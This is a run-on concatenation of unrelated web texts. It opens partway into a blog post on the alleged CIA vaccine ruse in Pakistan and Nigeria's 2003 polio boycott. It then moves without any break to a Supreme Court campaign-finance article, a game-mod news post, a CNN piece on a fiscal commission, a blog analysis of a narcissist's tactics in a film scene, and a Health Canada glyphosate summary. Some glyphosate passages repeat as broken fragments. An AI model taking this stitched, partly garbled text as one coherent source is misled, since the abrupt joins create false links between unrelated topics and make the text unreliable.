That is not speculation. The polio campaign has already seen this happen, based on just those kind of suspicions – not in a single poor slum in New Delhi, but across much of sub-Saharan Africa.
In the fall of 2003, a group of imams in the northern Nigerian state of Kano – the area that happened to have the highest rate of ongoing polio transmission – began preaching against polio vaccination, contending that what purported to be a protective act was actually a covert campaign by Western powers to sterilize and kill Muslim children. The president of Nigeria's Supreme Council for Sharia Law said to the BBC: "There were strong reasons to believe that the polio immunisation vaccine was contaminated with anti-fertility drugs, contaminated with certain virus that cause HIV/AIDS, contaminated with Simian virus that are likely to cause cancers."
The rumors caught like wildfire, and they were spread further by political operatives who saw an opportunity to disrupt a recent post-election power-sharing agreement between the Muslim north and the Christian south. Three majority Muslim states – Kano, Kaduna and Zamfara – suspended polio vaccination entirely. Vaccination acceptance in the rest of the country fell off so sharply that the national government was forced to act. It ordered tests of the vaccine by Nigeria's health ministry and empaneled a special commission to visit the Indonesian labs where the vaccine administered in Nigeria was made. The WHO convened emergency meetings.
And polio began to spread. At the end of 2003, when the boycott began, there had been only 784 known polio cases in the entire world. By the end of 2004, there had been 793 new cases just in Nigeria. Polio leaking across Nigeria's borders reinfected Benin, Botswana, Burkina Faso, Cameroon, Chad, the Central African Republic, Cote d'Ivoire, Ethiopia, Ghana, Guinea, Mali, Sudan and Togo. Nigerian strains appeared in Yemen, site of the largest port on the Red Sea, and in Saudi Arabia, imperiling the millions of pilgrims coming to the country on hajj. (Here's a 2004 round-up of the consequences from the South African publication Science in Africa, and one that I wrote in 2005.)
The last holdouts in Kano did not fully accept polio vaccination until the end of 2004. By then, so many children had gone unprotected that when Nigeria experienced the random bad luck of a vaccine-virus reversion to wild type in 2006, it ripped through the country in weeks – and further fueled lingering suspicions that had never really gone away.
The accusations that polio vaccination was a Potemkin cover for anti-Islamic activities almost ruined the international eradication of polio when they were false. Now, on the basis of the CIA's alleged appalling ruse in Pakistan, they may be made again. And they will be much more believable, because this time they might be be true.
Notable reactions, among many: Longtime global-health reporter Tom Paulson says this will "undermine global health" and expands on the possible consequences; Seth Mnookin, author of The Panic Virus, calls it a "horrible move with potentially dangerous consequences"; infectious-disease physician Kent Sepkowitz says it's a "paranoid's dreamy nightmare"; and blogger Brett Keller bluntly calls it "despicable." Update: The Guardian's Sarah Boseley adds: "a black day for medical ethics and a one-off crazy scheme." And James Fallows at The Atlantic warns this has "tremendously damaging implications that must be addressed."
I agree with them all.
Update: And here we go. The Associated Press reported this afternoon:
Pakistani health officials held meetings about the alleged CIA scheme on Tuesday and expressed concern that it could have a negative impact on immunization programs in other areas of the northwest, especially in Pakistan's semiautonomous tribal region along the Afghan border, said a Pakistani official involved in polio eradication efforts... One of the Pakistani Taliban's top commanders, Maulvi Faqir Mohammed, recently called on people in the northwest to avoid vaccines offered by the international community, claiming they were made with "extracts from bones and fat of an animal prohibited by God — the pig." "Don't fall prey to these infidel NGOs and this U.S.-allied government and its army," said Mohammed over the illegal radio station he transmits from his sanctuary in eastern Afghanistan. Pakistani officials and their international partners have pushed back against these claims, but the CIA's reported activities in the country may have made their job that much harder. "The medical mission has to be immune from manipulation for political and military purposes and health care workers generally must not be compelled to conduct activities contrary to medical ethics," said [Michael O'Brien, a spokesman for the International Committee of the Red Cross in Pakistan].
*Update 2: *Wednesday evening, US sources acknowledged that the vaccine campaign did happen. They insisted that real hepatitis vaccine was used. They did not address that, since only one of three doses was delivered, the vaccination was effectively useless. From the Washington Post:
U.S. officials on Wednesday defended a tactic used by the CIA to attempt to verify the whereabouts of Osama bin Laden — the covert creation of a vaccine program in Abbottabad, the town in Pakistan where he was later killed in a U.S. raid... A senior U.S. official said the campaign involved actual hepatitis vaccine and should not be construed as a “fake public health effort.” “People need to put this into some perspective,” said the official, speaking on the condition of anonymity because of the sensitivity of the issue. “The vaccination campaign was part of the hunt for the world’s top terrorist, and nothing else. If the United States hadn’t shown this kind of creativity, people would be scratching their heads asking why it hadn’t used all tools at its disposal to find bin Laden.” ...The senior U.S. official declined to say whether DNA from bin Laden’s relatives was collected as part of the vaccine program.
*Update 3: *Thursday, Doctors without Borders (know in most of the world as MSF for Medecins sans Frontieres), which has teams in a number of Pakistani and border provinces, released a statementsaying the fake campaign interferes with health care and endangers health workers:
“The mere suggestion that the provision of medical care was carried out under false pretenses damages public perception of the true purpose of medical action,” said Dr. Unni Karunakara, MSF’s international president. “With all populations in crisis, it is challenging enough for health agencies and humanitarian aid workers to gain access to, and the trust of, communities—especially populations already skeptical of the motives of any outside assistance... The risk is that vulnerable communities—anywhere—needing access to essential health services will understandably question the true motivation of medical workers and humanitarian aid. The potential consequence is that even basic health care, including vaccination, does not reach those who need it most.”
See Also:
Alabama electrical engineer and budding political donor Shaun McCutcheon broached a problem in conversation with conservative election lawyer Dan Backer, who one day earlier had led a CPAC panel on rolling back campaign finance laws in which he predicted that campaign contribution limits would soon rise.
McCutcheon had recently learned there were overall federal campaign contribution limits on what a single donor could give during a two-year election cycle. He voiced his annoyance to Backer and wondered if he could just ignore the aggregate limits -- something that a few dozen donors wound up doing, whether deliberately or inadvertently, in the 2012 election.
"He could tell I didn't like 'em, so he said we could challenge and it would go all the way to the Supreme Court," McCutcheon recalled in an interview with The Huffington Post. "I didn't really believe him."
A little more than a year later, McCutcheon, now joined by the Republican National Committee, is bringing the biggest campaign finance case before the Supreme Court since the controversial 2010 Citizens United decision. If the justices rule in their next term to toss the overall limits, it would mark the first time the Supreme Court had found a federal contribution limit unconstitutional and would open the door for even more money to flood the political system.
It would also be a major victory for counter-reformers, who have racked up a string of wins rolling back campaign finance regulation ever since Justice Samuel Alito replaced the more campaign regs-friendly Sandra Day O'Connor. And it would be a major blow to the campaign finance regime crafted in the 1970s following a string of corruption scandals culminating in the abuses revealed in the Watergate investigation.
For the 2013-2014 election cycle, Federal Election Commission rules state that a donor can give no more than $123,200 to all political committees with two sub-limits of $48,600 to candidates and $74,600 to political parties and political action committees. Without these overall caps, a single donor supporting one political party could theoretically give more than $5 million in individually limited contributions to every House candidate, every Senate candidate, every state party committee, every national party committee and every leadership PAC.
The case of McCutcheon v. FEC is being managed by a team of attorneys who have made careers out of working a long game to roll back campaign finance laws, including lead counsel Jim Bopp, the first lawyer on the Citizens United case, and Backer and Stephen Hoersting. The challengers argue that the aggregate limits are an unconstitutional burden on free speech and do not serve the purpose of reducing quid pro quo corruption or the appearance thereof.
"This is a case about how to spend your money how you choose, and it's a very important First Amendment case about freedom of speech," McCutcheon said. "We should be able to support as many candidates as we want. There's no reason to limit the number of candidates or committees."
Supporters of stronger campaign finance oversight disagree strongly. They say that campaign contribution limits being up for debate is a sign of how successful the counter-reformers have already been and how unfriendly the current Supreme Court is to campaign finance regulation.
"The fact that they are setting their sights on even this most basic feature of campaign regulation just shows how far the conversation has shifted on campaign finance," said Brenda Wright, vice president for legal strategies at Demos and the lead author of an amicus brief opposing McCutcheon. "And it's really important for the court not to take that next step. The court really needs to put a stop to the damage that's been done to our campaign finance regulations."
In a string of amici briefs filed with the Supreme Court on July 25, campaign reform advocates argue that the elimination of the aggregate limits would open the door for candidates to solicit checks of over $1 million through joint fundraising committees and undermine the individual contribution limits by allowing donations to be shifted among an unlimited number of candidates and PACs.
"This is a not very thinly disguised first step to try to get an absolute anything-goes, no-limits regime on campaign contributions," said Charles Fried, a former solicitor general under President Ronald Reagan and the author of an amicus brief submitted by Americans for Campaign Reform.
McCutcheon, however, denies that he wants to change the direct contribution limits, stating, "This is not about base limits. This is about aggregate limits."
Yet a ruling undoing overall contribution limits could, in fact, undermine the legal standing of individual contribution limits in future court challenges. University of California-Irvine election law professor Rick Hasen explained on his Election Law Blog, "It is possible in this case, for example, that the conservative five Justices ... set out a general standard for reviewing contribution limits which makes them harder to sustain against constitutional challenge."
Further, in the most radical and unlikely possibility, the court could decide that the case requires a ruling on the underlying question of the constitutionality of all contribution limits -- much as it did with independent spending in the Citizens United ruling -- and then find all such limits to be unconstitutional.
In the past, the Supreme Court has supported the overall limits as an extension of the direct contribution limits. The court in the landmark 1976 Buckley v. Valeo decision found that the overall limits "prevent evasion of the [direct] contribution limitation by a person who might otherwise contribute massive amounts of money to a particular candidate through the use of unearmarked contributions to political committees likely to contribute to that candidate, or huge contributions to the candidate's political party."
The court has also found the acceptance or solicitation of "huge contributions" by lawmakers to be a legitimate concern, creating the appearance of corruption, if not leading to actual corruption, as in the Nixon White House.
In their brief before the court, however, McCutcheon and the RNC argue that the system of contribution caps supported in Buckley and subsequent decisions has been made irrelevant by the Citizens United ruling, which opened the door to unlimited independent spending by corporations, unions and, through a lower court ruling, individuals.
The unlimited spending allowed by Citizens United does raise the question of whether overall limits -- or even individual contribution limits -- matter when a donor can simply give unlimited amounts to support or oppose a candidate through a super PAC or a non-disclosing nonprofit. This reasoning has been echoed in a handful of state capitals where lawmakers have passed legislation since the 2010 decision to raise contribution limits in order to help candidates remain competitive with the rising tide of independent spending.
After pondering and rejecting this argument, D.C. Circuit Judge Janice Rogers Brown, writing for a three-judge panel in the lower court, predicted where the arguments made by McCutcheon and the RNC would be decided. "Plaintiffs raise the troubling possibility that Citizens United undermined the entire contribution limits scheme, but whether that case will ultimately spur a new evaluation of Buckley is a question for the Supreme Court, not us," she wrote.
Posted by Ennui on Dec 18th, 2013
You probably have noticed that Half-Life 2: Wars is now called Lambda Wars and we launched on Steam Greenlight about two weeks ago. We also have a brand new website and community forum skin to go with the rebranding! But we have two big things to talk to you about this week: Steam Greenlight and MOTY 2013.
These are the final 48 hours of the voting period for ModDB’s Mod of the Year 2013 Player's Choice Vote, and we're a finalist! We were 9th in 2010 and 10th in 2008 and we ask that you support us again in what we feel is our most successful year ever by voting for Lambda Wars for Mod of the Year!
Also, if you haven’t voted for Lambda Wars on Steam Greenlight yet, we’d love it if you’d do that as well! Everyone here on the Lambda Wars team thanks all of you for showing your support on Greenlight so far!
Just to give a quick overview on our Greenlight statistics so far: after 17 days on Steam Greenlight, Lambda Wars is currently ranked #2 of 1,485 titles with a whopping 17,434 Yes votes and 1,249 followers. We never imagined the response would be so positive and we appreciate the wonderful support that all of you out there in the community have given us both during our Steam Greenlight campaign and throughout the six years of development on Half-Life 2: Wars and now Lambda Wars. Here's a more detailed look:
As always, you can give us feedback, suggestions and bug reports on our community discussion forums. Your support, feedback and suggestions are invaluable to us as we work to improve the mod’s gameplay, interface and graphics.
In a dramatic concession to senior Democratic and Republican lawmakers, President Obama abruptly shifted his position Saturday and declared his public support for creating a fiscal commission.
Washington (CNN) - In a dramatic concession to senior Democratic and Republican lawmakers, President Obama abruptly shifted his position Saturday and declared his public support for creating a fiscal commission that could propose sweeping tax increases and spending cuts to try to slash the soaring federal debt.
The White House released an unexpected written statement from Obama saying he now backs putting together a powerful commission created through a federal statute, a reversal from earlier this week when Vice President Joe Biden signaled in a private meeting with Sen. Kent Conrad, D-N.Dakota, and other key lawmakers that the administration would only support a weaker version of the commission by forming it through an executive order.
"The only way to solve our long-term fiscal challenges is to solve it together – Democrats and Republicans," Obama said in the written statement. "That's why I strongly support legislation currently under consideration to create a bipartisan, fiscal commission to come up with a set of solutions to tackle our nation's fiscal challenges – and call on Senators from both parties to vote for the creation of a statutory, bipartisan fiscal commission."
Conrad applauded Obama's decision in a written statement.
"The president is demonstrating exactly the kind of leadership we need to tackle our nation's long-term fiscal challenges," Conrad said. "His support shows that he is determined to do what is necessary to put us back on a sound long-term course."
A senior Senate source familiar with Biden's meeting last week with Conrad and other key senators suggested the administration's reversal came because lawmakers were adamant that they would not support an increase in the debt ceiling unless the administration supported the full-scale statutory fiscal commission as called for in the Conrad-Gregg proposal.
An increase in the nation's debt ceiling is coming up for a vote in the Senate on Tuesday, and there has been fear that failing to lift the amount of money the U.S. can borrow might further rattle the financial markets.
Conrad and the other Senators insisted to Biden that Obama had to support enactment of the statutory commission if he wanted to pass the debt ceiling increase, according to the senior Senate source familiar with the discussions, and that creating the commission through an executive order was not credible. A second Senate aide added that the upcoming debt ceiling vote, coupled with pressure from Tuesday's special election in Massachusetts, helped tip the administration.
It's still unclear whether the legislation sponsored by Conrad and Sen. Judd Gregg, R-New Hampshire, will pass on Tuesday. The senior Democratic aide said Obama's support will help bring along Democrats, but it's uncertain whether the bill will get the 60 votes needed to overcome a possible filibuster.
The Conrad-Gregg legislation would create a commission with 10 Democrats (eight members of Congress and two Obama officials) and eight Republicans (all from the House and Senate). It would have several months in 2010 to study the problem and then vote after the midterm elections on a reform package that could include dramatic tax hikes and spending cuts. If 14 of the 18 members approve the package, giving it a bipartisan nod, it would force an automatic up-or-down vote in the House and Senate on whether to implement the recommendations.
Such recommendations could include cuts to popular programs like Social Security and Medicare, which is why some liberals are opposed to formation of the commission; or proposals to drastically raise taxes to make up for budget shortfalls, which is why some conservatives have blasted the idea.
CNN first reported in December that Obama was privately giving serious thought to setting up such a commission, and that there was division within the administration about whether to give the panel real teeth by creating it with a federal statute or give it less power by forming it through an executive order that would not require up-or-down votes in Congress on the potentially explosive recommendations.
While some critics charge a commission would be a cop-out because it would punt Congressional decisions to an outside panel, the Senators pushing the plan believe the current system is broken and it will take a new mechanism to enact the wrenching changes that will be needed to get the budget back into balance.
"Our statutory task force proposal provides the best chance for developing a truly bipartisan solution to this problem," Conrad said in his statement. "No one political party can solve this on its own. We need both sides of the aisle committed to working together to confront the threat of runaway debt."
But Obama hinted at the partisan divide such a commission would face in his statement, which began by blaming the current situation squarely on the Bush administration.
That said, about 10 minutes and 15 seconds into the movie, the protagonist is confronting her boyfriend about something that one of her friends has told her. She says, “I think we need to talk.”
He replies, “Oh no, here we go.” There is a total lack of concern about the fact that she wants to talk. He shows no genuine consideration for how she is feeling. He lets her know through his tone of voice that this is inconvenient for him. In the movie, we can see (the protagonist cannot see because she is on the phone) that he is amused. He has been caught. Let the game begin. He is taking delight in his ability to handle this situation.
A normal, caring, person would show interest in something that was bothering you. They might become defensive if you said, “I think we need to talk”, but at the very least they would want to know what was upsetting you. This is not how he responded.
Something that I’ve described in earlier posts is the stance, “The best defense is a good offense“. This undoubtedly started out as a sports metaphor. Picture hockey. The best way to win is to focus on scoring goals, rather than tying to keep the other team out of your end. In this particular movie, and I must point out, in my relationship as well, the narcissist uses this attack stance to gain an emotional advantage in the discussion. He keeps the protagonist off balance by repeatedly attacking her so that it is more difficult for her to confidently stand her ground.
He says, “What’s the matter, am I not tuning into your feelings again?” This is meant to belittle her. He is saying something to taunt her about something that she has either said to him in the past, or at the very least, some way he has summarized a previous conversation. He has not given her a chance to speak yet. He is already trying to undermine her before she begins.
She tries to gather some strength and says a few things trying to get her thoughts together and he cuts in, “Let’s cut to the chase.”
As soon as she says why she is concerned, he attacks again, not addressing the content of her question, but the truth of it. “Who saw me?” he asks attacking. “Your friend Samantha, with the fat ass?”
These off topic attacks, whether or not Samantha has a fat ass, are meant as a distraction. If the narcissist can get you off of the topic that you want to talk about, they can derail the conversation without having to address your concerns. This is a ploy, a red herring, a way of misdirecting the conversation. These are often more personal than this and can be effective at changing the conversation completely around and making it about you defending yourself.
If she had started to defend Samantha, or point out that she doesn’t have a fat ass, or that it is rude to be describing someone that way, he would have won early in the conversation.
This is a game to him, as I pointed out earlier when I mentioned that he showed delight.
His next tactic is to say things that are so obviously ridiculous that of course they are not what she is concerned about, but they do stop the conversation from moving forward normally as it would if he was not derailing it.
“So what am I not allowed to have lunch with someone?”
“How exactly do you eat lunch suspiciously?”
“Was I making a shifty eye motion?”
“Or did a man in a trench coat drop off a brief case at my table?”
Mixed in with these outrageous statements is actually a true statement, but it is buried in all of the ridiculous ones so it is easy to classify it as something that is ridiculous.
“You got me. I have been boning Amanda and afterwards I thought we would have lunch in a public place.”
Then he goes back to ridiculous statements:
“So, that everyone could see me groping her tits.”
“Oh, and did your friend Sarah tell you that I left a used condom in the booth? I meant to grab it I just didn’t have time.”
The protagonist stays focused and asks straight out, “Are you cheating on me?”
Once again, he turns it around, “I thought you trusted me?” The insinuation here is that he is not in the wrong. She is in the wrong for not trusting him.
Then he says, “I can’t believe you need me to say it.” Another jab at her being somehow deficient. It is her “need” to hear it that is the problem. She should not be so “needy”.
My favourite bit of this whole scene is that he waits until he can use a pre-rehearsed phrase. There is a whole shift in his facial expression, his tone of voice and his attitude. This is the hallmark of the pre-rehearsed phrase. He has practiced this. It stands out because it is the only time that he is not attacking her. He grins when she accepts his line.
“Baby, I would never cheat on you and you know that.”
Immediately, he goes back on the attack, “I should be mad at you right now.” Then, he lays in about her friend again, using the same wording as he did earlier about her other friend. It is important that a narcissist separate you from your friends, because it gives them more power and control. Often, after being with a narcissist for a while, people realize that they hardly ever see the friends that they do still have and that they have fewer friends all around. This is not an accident.
By having the presence to ask yourself, “What do they want right now?” you can see these tactics for what they are. If she had asked herself this early in the conversation, she might have realized that he wanted to derail the conversation and make her feel in the wrong. Unfortunately, he was successful.
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28 April 2017
ISSN: 1925-1025 (PDF version)
Catalogue number: H113-28/2017-1E-PDF (PDF version)
This page is a summary of the decision document. To obtain a full copy of Re-evaluation Decision RVD2017-01, Glyphosate please contact our publications office. To obtain a full copy of Re-evaluation Decision RVD2017-01, Glyphosate please contact our publications office. Should you require further information please contact the Pest Management Information Service
Summary
Table of Contents
Executive Summary
Health Canada's primary objective in regulating pesticides is to protect Canadians' health and their environment. Pesticides must be registered by Health Canada's Pest Management Regulatory Agency ( PMRA ) before they can be imported, sold, or used in Canada. Pesticides must go through rigorous science-based assessments before being approved for sale in Canada. All registered pesticides must be re-evaluated by the PMRA on a cyclical basis to make sure they continue to meet modern health and environment safety standards and continue to have value. In 2015, the PMRA published the outcome of its extensive re-examination of glyphosate for public comment (PRVD2015-01), which concluded that the products containing glyphosate do not present unacceptable risks to human health or the environment when used according to the revised product label directions. During this re-examination, the PMRA assessed the potential human health risk of glyphosate from drinking water, food, occupational and bystander exposure, as well as the environmental risk to non-target organisms. Both the active ingredient and formulated products were included in the re-evaluation. The assessment was carried out based on available information provided by the manufacturer of the pesticide, as well as a large volume of published scientific literature, monitoring information (for example, ground water and surface water) and reviews conducted by other regulatory authorities. The overall finding from the re-examination of glyphosate is highlighted as follows: Glyphosate is not genotoxic and is unlikely to pose a human cancer risk.
Dietary (food and drinking water) exposure associated with the use of glyphosate is not expected to pose a risk of concern to human health.
Occupational and residential risks associated with the use of glyphosate are not of concern, provided that updated label instructions are followed.
The environmental assessment concluded that spray buffer zones are necessary to mitigate potential risks to non-target species (for example, vegetation near treated areas, aquatic invertebrates and fish) from spray drift.
When used according to revised label directions, glyphosate products are not expected to pose risks of concern to the environment.
All registered glyphosate uses have value for weed control in agriculture and non-agricultural land management. All comments received during the consultation process were taken into consideration. These comments and new data/information resulted in only minor revisions to the proposed regulatory decision described in PRVD2015-01. Therefore, the PMRA is granting continued registration of products containing glyphosate with requirements of additional label updates to further protect human health and the environment. To comply with this decision, the required label changes must be implemented on all product labels sold by registrants no later than 24 months after the publication date of Re-evaluation Decision RVD2017-01, Glyphosate.
Re-evaluation Decision for Glyphosate
After a re-evaluation of the herbicide glyphosate, Health Canada's Pest Management Regulatory Agency ( PMRA ), under the authority of the Pest Control Products Act and Regulations, is granting continued registration of products containing glyphosate for sale and use in Canada. An evaluation of available scientific information found that products containing glyphosate do not present risks of concern to human health or the environment when used according to the revised label directions. As a requirement for the continued registration of glyphosate uses, new risk reduction measures are required for the end-use products registered in Canada. No additional data are being requested at this time. Findings of the re-evaluation of glyphosate were first presented for public consultation in the Proposed Re-evaluation Decision PRVD2015-01, Glyphosate, whereas this Re-evaluation Decision (RVD2017-01) summarizes the Agency's final decision on the re-evaluation of glyphosate and the reasons for it. Comments received during the consultation period were taken into consideration. These comments and new data/information resulted in revisions to some parts of the risk assessments, however, they did not result in substantial changes to the proposed regulatory decision as described in PRVD2015-01. Appendix I of Re-evaluation Decision RVD2017-01, Glyphosate summarizes the comments received and provides the PMRA 's response. To comply with this decision, the required mitigation measures must be implemented on all product labels sold by registrants no later than 24 months after the publication date of RVD2017-01, Glyphosate. Registrants of the products containing glyphosate will be informed of the specific requirements affecting their product registration(s) and of the regulatory options available to them.
What Does Health Canada Consider When Making a Re-evaluation Decision?
Health Canada's pesticide re-evaluation program considers potential risks as well as the value of pesticide products to ensure they meet modern standards established to protect human health and the environment. Re-evaluation draws on data from registrants, published scientific reports, information from other regulatory agencies and any other relevant information. In 2010, Health Canada published a re-evaluation work plan for glyphosate (REV2010-02) outlining the focus of this re-evaluation and indicating that the PMRA is working cooperatively with the United States Environmental Protection Agency. As part of this re-evaluation, the effect of Polyethoxylated Tallow Amines ( POEA ) and the metabolite and transformation product Aminomethylphosphonic acid ( AMPA ) are also included.
What Is Glyphosate?
Glyphosate is a broad-spectrum, non-selective herbicide. It controls many annual weeds, perennial weeds, woody brush and weedy trees. It is registered for use on a wide variety of sites including terrestrial feed and food crops, terrestrial non-food, non-feed and fibre crops, and for non-agricultural, industrial and residential weed management for non-food sites, forests and woodlots, outdoor ornamentals and turf. Glyphosate is present as the free acid or as a salt in formulated end use products. Glyphosate products are formulated as solutions, pastes or tablets and can be applied using ground or aerial application equipment. Other application techniques are also used to apply glyphosate, such as with a wiper or wick applicator, cut stump or stem injection treatment. The rate of application ranges from 0.25 to 4.32 kg a.e./ha, depending on weed species (for example, annual vs. perennial) and use site. All products containing glyphosate currently registered under the authority of the Pest Control Products Act are listed in Appendix II of RVD2017-01, Glyphosate.
Health Considerations
Can Approved Uses of Glyphosate Affect Human Health?
Products containing glyphosate are unlikely to affect your health when used according to label directions.
Potential exposure to glyphosate may occur through diet (food and water), or when handling and applying the product, or by entering treated sites. When assessing health risks, two key factors are considered: the levels at which no health effects occur in animal testing and
the levels to which people may be exposed. The dose levels used to assess risks are established to protect the most sensitive human population (for example, children and nursing mothers). Only those uses where exposure is well below levels that cause no effects in animal testing are considered acceptable for registration. Glyphosate is of low acute oral, dermal and inhalation toxicity. It is severely irritating to the eyes, non-irritating to skin and does not cause an allergic skin reaction.
Registrant-supplied short and long term (lifetime) animal toxicity tests, as well as numerous peer-reviewed studies from the published scientific literature were assessed for the potential of glyphosate to cause neurotoxicity, immunotoxicity, chronic toxicity, cancer, reproductive and developmental toxicity, and various other effects. The most sensitive endpoints for risk assessment were clinical signs of toxicity, developmental effects, and changes in body weight. The young were more sensitive than the adult animals. However, the risk assessment approach ensures that the level of exposure to humans is well below the lowest dose at which these effects occurred in animal tests.
Residues in Food and Water
Dietary risks from food and water are not of concern.
Reference doses define levels to which an individual can be exposed over a single day (acute) or lifetime (chronic) and expect no adverse health effects. Generally, dietary exposure from food and water is acceptable if it is less than 100% of the acute reference dose or chronic reference dose (acceptable daily intake). An acceptable daily intake is an estimate of the level of daily exposure to a pesticide residue that, over a lifetime, is believed to have no significant harmful effects. Potential acute and chronic dietary exposures to glyphosate were estimated from residues of glyphosate and relevant metabolites in both treated crops and drinking water. Exposure to different subpopulations, including children and women of reproductive age, were considered. The acute dietary exposure estimate from food and drinking water at the 95th percentile represents 31% of the acute reference dose ( ARfD ) for females 13-49 years of age, and ranges from 12% to 45% of the ARfD for all other population subgroups. The chronic dietary exposure estimate for the general population represents 30% of the acceptable daily intake ( ADI ). Exposure estimates for population subgroups range from 20% of the ADI (for adults aged 50 years or older) to 70% of the ADI (for children 1-2 years old). Thus, acute and chronic dietary risks are not of concern. The Food and Drugs Act prohibits the sale of adulterated food; that is, food containing a pesticide residue that exceeds the established maximum residue limit ( MRL ). Pesticide MRL s are established for Food and Drugs Act purposes through the evaluation of scientific data under the Pest Control Products Act. Each MRL value defines the maximum concentration in parts per million ( ppm ) of a pesticide allowed in or on certain foods. Food containing a pesticide residue that does not exceed the established MRL does not pose a health risk concern. Canadian MRL s for glyphosate are currently specified for a wide range of commodities (MRL database). Residues in all other agricultural commodities, including those approved for treatment in Canada but without a specific MRL , are regulated under Subsection B.15.002(1) of the Food and Drug Regulations, which requires that residues do not exceed 0.1 ppm . Separate MRL s have been established for the trimethylsulfonium ( TMS ) cation, the major metabolite of the glyphosate-TMS salt, in/on a variety of commodities. Given that all glyphosate- TMS -containing products have been discontinued in Canada, all MRLs for the TMS cation will be revoked.
Risks in Residential and Other Non-Occupational Environments
Non-occupational risks are not of concern when used according to label directions.
Residential exposure may occur from the application of products containing glyphosate to residential lawns, and turf (including golf courses), gardens and trees. Residential handler exposure could occur from mixing, loading and applying domestic-class glyphosate products. These products can be applied as a liquid by a manually pressurized handwand, backpack, sprinkler can and ready-to-use sprayer. Residential postapplication exposure may occur for persons performing activities on treated areas. This includes areas treated by residential handlers as well as residential areas treated by commercial applicators. Exposure is predominantly dermal. Incidental oral exposure may also occur for children (1 to <2 years old) playing in treated areas. For all domestic class products, the target dermal and inhalation margins of exposure ( MOE ) were met for adults applying glyphosate and are not of concern. Residential postapplication activities also met the target dermal MOE for all populations (including golfers) and are not of concern. For incidental oral exposure, the target oral MOEs were met for children (1 to <2 years old) and are not of concern. Non-occupational scenarios were aggregated with background (chronic) dietary exposure (food and drinking water). The resulting aggregate risk estimates reached the target MOE for all uses and are not of concern.
Non-occupational risks from bystander dermal exposure are not of concern.
Bystander exposure may occur when the general public enter non-cropland areas (for example, hiking through forests or parks) that have recently been treated with glyphosate. The resulting risk estimates associated with bystander dermal exposure met the target MOE for all populations and are not of concern.
Occupational Risks from Handling Glyphosate
Occupational risks to handlers are not of concern when used according to label directions.
Risks to handlers are not of concern for all scenarios. Based on the precautions and directions for use on product labels reviewed for this re-evaluation, risk estimates associated with mixing, loading and applying activities met the target dermal and inhalation MOEs and are not of concern.
Postapplication risks are not of concern for all uses.
Postapplication occupational risk assessments consider exposures to workers entering treated sites in agriculture. Based on the current use pattern for agricultural scenarios reviewed for this re-evaluation, postapplication risks to workers performing activities, such as scouting, met the target dermal MOEs and are not of concern. A minimum restricted entry interval of 12 hours is required for agricultural sites.
Polyethoxylated Tallow Amines ( POEA )
POEA is a family of several compounds that are used as surfactants in many glyphosate products registered in Canada. No human health risks of concern were identified for these end-use products, provided that they contain no more than 20% POEA by weight. All of the currently registered glyphosate end-use products in Canada meet this limit.
Environmental Considerations
What Happens When Glyphosate Is Introduced Into the Environment?
When used according to revised label directions, glyphosate products are not expected to pose risks of concern to the environment. Labelled risk-reduction measures mitigate potential risks posed by glyphosate formulations to non-target plants and freshwater/marine/estuarine organisms. When glyphosate is released into the environment, it can enter soil and surface water. Glyphosate breaks down in soil and water and is not expected to remain for long periods of time. Glyphosate produces one major break down product in soil and water, aminomethyl phosphonic acid ( AMPA ), which can last in the environment. Carryover of glyphosate and AMPA into the next growing season is not expected to be significant. Glyphosate and AMPA are not expected to move downward through the soil and are unlikely to enter groundwater. Glyphosate dissolves readily in water but is expected to move into sediments in aquatic environments. Glyphosate is not expected to enter the atmosphere. Glyphosate and AMPA are unlikely to accumulate in animal tissues. Certain glyphosate formulations include a surfactant composed of POEA compounds. At high enough concentrations, POEA is toxic to aquatic organisms but is not expected to remain in the environment. While, in general, glyphosate formulations that contain POEA are more toxic to freshwater and marine/estuarine organisms than formulations that do not contain POEA , they do not pose risks of concern to the environment when used as directed on the label. In the terrestrial environment the only risk identified was for terrestrial plants, therefore, spray buffer zones are required to reduce exposure to sensitive terrestrial plants. Glyphosate formulations pose a negligible risk to freshwater fish and amphibians, but may pose a risk to freshwater algae, freshwater plants, marine/estuarine invertebrates and marine fish if exposed to high enough concentrations. Hazard statements and mitigation measures (spray buffer zones) are required on product labels to protect aquatic organisms. Glyphosate, AMPA and POEA do not meet all Toxic Substances Management Policy ( TSMP ) Track 1 criteria and are not considered Track 1 substances. Other than incident reports of damage to plants and one exceptional incident regarding fish in a river (PRVD2015-01, Section 4.2.3), there are currently no environmental incident reports involving glyphosate in Canada.
Value Considerations
What is the Value of Glyphosate?
Glyphosate plays an important role in Canadian weed management in both agricultural production and non-agricultural land management and is the most widely used herbicide in Canada. Glyphosate is an important herbicide for Canadian agriculture: Due largely to its broad and flexible use pattern and its wide weed-control spectrum, it is the most widely used herbicide in several major crops grown in Canada, such as canola, soybean, field corn and wheat. It is also one of only a few herbicides regularly used in fruit orchards, such as apple.
It is the essential herbicide for use on glyphosate tolerant crops ( GTC s), including canola, soybean, corn, sweet corn and sugar beet. The combination of GTC s and glyphosate has been adopted as an important agricultural production practice in Canada.
s), including canola, soybean, corn, sweet corn and sugar beet. The combination of s and glyphosate has been adopted as an important agricultural production practice in Canada. It has a wide application window ranging from pre-seeding to after seeding (prior to crop emergence), in-crop, pre-harvest or post-harvest, providing a flexible and effective weed management program.
It is one of a few herbicides that can also be used as a harvest management and desiccation treatment.
Post-harvest stubble treatment with glyphosate allows reduced or zero tillage, which has facilitated the adoption of conservation agriculture that results in improved soil quality. Glyphosate is also an important weed management tool and is widely used for weed control in non-agricultural land management, such as forestry, industrial areas, and along rights-of-way. It is an effective tool for control of many invasive weed species and is also used in the control of toxic plants, such as poison ivy.
Measures to Minimize Risk
Labels of registered pesticide products include specific instructions for use. Directions include risk-reduction measures to protect human health and the environment. These directions must be followed by law. As a result of the re-evaluation of glyphosate, the PMRA is requiring further risk-reduction measures in addition to those already listed on glyphosate product labels. Additional risk-reduction measures are discussed below. Label amendments to be implemented are found in Appendix IV of RVD2017-01, Glyphosate Human Health To protect commercial and residential applicators: glyphosate is not to be applied using hand-wicking or hand-daubing methods.
To protect workers entering treated sites: a restricted-entry interval ( REI ) of 12 hours is required for agricultural uses.
) of 12 hours is required for agricultural uses. To protect bystanders: a statement is required indicating that the product is to be applied only when the potential for drift to areas of human habitation or areas of human activity, such as houses, cottages, schools and recreational areas, is minimal. Environment Environmental hazard statements are added to inform users of toxicity to non-target species.
Spray buffer zones to protect non-target terrestrial and aquatic habitats are required.
